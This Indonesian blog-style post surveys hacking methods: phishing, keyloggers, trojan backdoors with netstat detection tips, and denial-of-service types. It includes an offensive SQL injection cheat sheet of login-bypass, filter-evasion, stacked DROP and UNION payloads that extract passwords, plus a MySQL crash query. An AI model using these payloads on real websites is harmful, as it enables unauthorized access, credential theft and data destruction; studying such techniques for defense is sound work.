Metode hacking :phishing, Sql injection, keylogger, trojan atau backdoor, dan denial of service

Dalam komputer, pengelabuan (Inggris: phishing) adalah suatu bentuk penipuan yang dicirikan dengan percobaan untuk mendapatkan informasi peka, seperti kata sandi dan kartu kredit, dengan menyamar sebagai orang atau bisnis yang tepercaya dalam sebuah komunikasi elektronik resmi, seperti surat elektronik atau pesan instan. Istilah phishing dalam bahasa Inggris berasal dari kata fishing ('memancing'), dalam hal ini berarti memancing informasi keuangan dan kata sandi pengguna.


Udah pada tau kan soal SQL injection?
Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)
Itu tutorial basic, sekarang kita ke tutorial advance.
Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan
untuk menginject suatu website (jika emang bisa diinject).
Oke, lets’ begin
Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist
+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya
3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’
+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel


Keylogger adalah software yang digunakan untuk merekam aktifitas yang anda lakukan di depan komputer. Jadi intinya sofware ini digunakan untuk mencuri password si target.
Karena Sofware Keylogger inilah akun anda bisa dengan mudah nya kena hack

Karena fungsi nya untuk merekan segala aktivitas si pemakai (user) komputer, maka Sofware Keylogger ini mampu mencatat username dan password dari suatu account (akun) si pemakai komputer tersebut....mmmm...berbahaya kan....!!!
Bagaimana kalo Sofware Keylogger ini di pasang di warnet???, Sudah dapat dipastikan akun blog, email, facebook, twitter, Yahoo Messenger dan akun-akun lainnya akan tercatat secara otomatis dan biasanya tercatat dalam bentuk file teks (txt).

Sofware Keyloger ini bersifat hidden (tersembunyi). Biasanya dia akan muncul di systray jika kita melakukan kombinasi keyboard atau shortcut tertentu. Begitu kita menekan kombinasi keyboard, maka icon keylogger akan muncul di systray.

Jadi bila ada gejala yang mencurigakan, maka sebaiknya urungkan niat anda untuk membuka akun-akun anda yang bersifat pribadi.
Lebih aman nya gunakan komputer dan internet pribadi saja




Mungkin sebagian Anda ada yang sudah mengenal Trojan atau biasa disebut dengan trojan horse. Ya, trojan horse adalah program jahat yang umumnya disamarkan sebagai program biasa agar tidak menimbulkan kecurigaan pengguna yang menjalankan program tersebut. Ada beberapa cara pada trojan untuk menyamarkan dirinya diantaranya adalah mengeluarkan pesan error saat dijalankan, sehingga pengguna menyangka bahwa program yang dijalankan sedang mengalami error padahal trojan telah aktif secara tersembunyi. Selain itu trojan dapat menggabungkan diri dengan program biasa tanpa pengguna sadari.
Umumnya, tujuan dibuatnya trojan adalah mendapatkan informasi dari target baik berupa password, data/dokumen penting, hingga foto pribadi. Mayoritas trojan memiliki fitur mengendalikan konputer target dari jarak jauh (remote access) dan tujuan dibuatnya trojan antara lain menggunakan target sebagai mesin untuk melakukan spam, mencuri data, mendownload malware lain, menghapus data/file, merekam tikan (keystroke logging), melihat isi layar, merekam aktivitas pengguna, merusak sistem, menghilangkan bukti digital sampai sabotase komputer.

Mengenal Trojan Backdoor

Backdoor adalah salah satu jenis trojan yang sering digunakan untuk mengontrol suatu komputer dari jarak jauh melalui jaringan baik lokal maupun Internet. Ciri khas backdoor adalah berjalan secara tersembunyi, tidak menampilkan hal-hal yang mencurigakan, serta membuka port agar komputer dapat diakses secara remote. Backdoor dapat juga disebut sebagai Remote Access Trojan atau Remote Administration Tool (RAT). Contoh trojan backdor (RAT) adalah Posion Ivy, Bifrost, Optix Pro, DarkComet-Rat, XpertRAT, Back Orifice dan Sub Seven (Sub7).
Trojan backdoor merupakan jenis malware yang sangat berbahaya. Pasalnya, selain pencurian data, komputer korban dapat dijadikan zombie untuk menyerang server. Berdasarkan suatu situs berita Jerman, seorang warga negara Jerman menyewa jasa zombie dari Rusia dengan kisaran $65 per hari untuk melumpuhkan beberapa situs judi online saat piala dunia diselenggarakan. Selain reputasi IP pada komputer korban menurun, bandwidth terkuras, kecepatan akses dan kinerja sistem pun berkurang.
Cara kerja Trojan Backdoor
Ada dua bagian backdoor, yaitu client dan server. Client adalah program yang diinstal di komputer target sedangkan server merupakan program yang digunakan attacker dalam mengoperasikan komputer target. Ada dua metode komunikasi antara client dan server yaitu direct connection dan reverse connection.
  • Pada direct connection, server berusaha melakukan koneksi ke IP target agar dapat berkomunikasi dengan client. Tapi hal ini lebih mudah diblok oleh program firewall.
  • Pada reverse connection tidak membutuhkan IP target karena serverlah yang berusaha melakukan koneksi ke IP client (attacker). Ketika attacker menjalankan client dengan koneksi Internet lain, IP pun akan berubah, lalu bagaimana membuat IP client yang bersifat taktis? Untuk mengatasi hal ini, attacker dapat memakai dynamic DNS yang banyak disediakan secara gratis oleh website-website tertentu.
Mendeteksi Backdoor
Cara manual untuk mendeteksi backdoor adalah melihat port yang terkoneksi dan port yang sedang menunggu koneksi dari luar. Berikut ini langkah-langkah untuk mendeteksi trojan backdoor.
  • Tutup semua program, terutama yang berhubungan dengan koneksi jaringan.
  • Buka dialog Run dengan menggunakan kombinasi tombol Window+R. Isi dengan "CMD"
  • Muncul jendela CMD dan ketikkan "netstat-aon"
  • Hasil perintah netstat akan terlihat sebagai berikut:
C:\Documents and Settinga\Administrayor>netstat -aon
Active Connections
Proto Local Addresss Foreign Address State PID
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 944
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 127.0.0.1:1028 0.0.0.0:0 LISTENING 1312
TCP 127.0.0.1:1135 127.0.0.1:3460 SYN.SENT 2328
TCP 192.168.244.131:139 0.0.0.0:0
4
UDP 0.0.0.0:445 *:*
392
UDP 0.0.0.0:500 *:*
1084
UDP 0.0.0.0:1039 *:*
692
UDP 127.0.0.1:123 *:*
1036
UDP 127.0.0.1:1900 *:*
1152
UDP 192.168.244.131:123 *:*
1036
UDP 192.168.244.131:137 *:*
4
UDP 192.168.244.131:138 *:*
4
UDP 192.168.244.131:1900 *:*
1152
C:\Documents and Settings\Administrator>
Seperti yang ada di lajur ke empat pada kolom ketiga terdapat isi yang berbeda dari baris lainnya. Pada kolom inilah perhatian akan lebih difokuskan.
Transmission Control Protocol atau TCP merupakan bagian protocol yang digunakan untuk mengirim data. Kolom kedua berisi alamat komputer, sedangkan kolom ketiga berisi alamat tujuan packet akan dikirimkan. Dalam kasus ini, contoh tersebut memperlihatkan alamat local 127.0.0.1.  Dalam kasus nyata, kolom ini berisi alamat DNS, misalnya yang dibuat melalui NO.IP.com. Sementara, kolom keempat berisi SYN_SENT yang berarti ada program yang sedang menunggu jawaban dari respon luar. Hal ini menandakan server belum terkoneksi ke client. Jika server telah terkoneksi ke client, kolom ini berisi tulisan ESTABLISHED.
Kolom terakhir berisi PID dari proses program yang sedang menjalankan rutin koneksi ini. Untuk melihat proses program apakah itu, Anda dapat menggunakan Task Manager.
Mengingat begitu berbahayanya malware yang satu ini, selain mendeteksinya dengan cara manual, Anda pun juga bisa menggunakan antivirus andal untuk membersihkan komputer Anda yang terinfeksi malware ini terutama oleh Poison Ivy.


Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
  1. Mematikan Server
  2. Menyibukkan Server
    • Tanpa bug/vulnerability
    • Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
  • Ping of Death ( CA-1996-26 )
  • Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
  • MySQL IF Query DoS ( SA25188 )
  • Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
  • Cisco Global Site Selector DNS Request Denial of Service (SA33429)
  • Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
  • Exploiting vulnerability: Menyerang dengan malicious request/packet
  • No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
  • TCP SYN Flood DoS
  • Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.
    Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
  • Apache mod_deflate DoS
  • Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.
    Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.
DDoS Botnet Attack
Courtesy of: www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
  • Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
  • Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
    • Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
    • Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi



  • Facebook
  • Twitter

search